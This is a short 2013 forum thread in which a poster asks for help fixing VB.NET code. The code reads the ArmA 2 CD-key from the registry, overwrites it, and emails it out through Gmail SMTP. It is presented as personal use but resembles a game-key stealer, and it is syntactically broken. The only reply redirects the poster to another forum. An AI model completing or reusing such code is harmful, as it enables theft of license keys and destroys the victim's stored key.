-
March 14th, 2013, 05:47 PM
#1
Help!
Hello, I'm trying to make something that take my CD-Key and sends it to my Email! Am I doing this right?
Also I'm getting error, Identifier Expected.
Imports System.Net.Mail
Private Shared Sub (ByVal As String())
Dim str1 As String
Dim str2 As String
str1 = "PC Name=" + Dns.GetHostName() + " & ChrW(10)"
str2 = .("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY")
If ((str2 <> "no path") = True) Then
str1 = str1 + "key=" + str2 + " & ChrW(10)"
.("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
GoTo Label_008E
End If
str1 = str1 + "key=" + .("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY") + " & ChrW(10)
.("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
Label_008E:
.(str1)
MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.Subject = "Account Information"
MyMailMessage.Body = "Key: "
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
SMTP.Send(MyMailMessage)
Return
End Sub
-
March 15th, 2013, 04:48 AM
#2
Re: Help!
Before posting something to some Forum you first have to choose the one corresponding your problem!
The Forum:
Visual C++ Bugs & Fixes
Share bugs and fixes for source code on this site. Also use this to share bugs/fixes in the various class libraries etc. of use to VC++ developers. This is NOT for general programming questions.
has nothing to do with your code problem, nor is it for VB problems at all!
Victor Nijegorodov
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|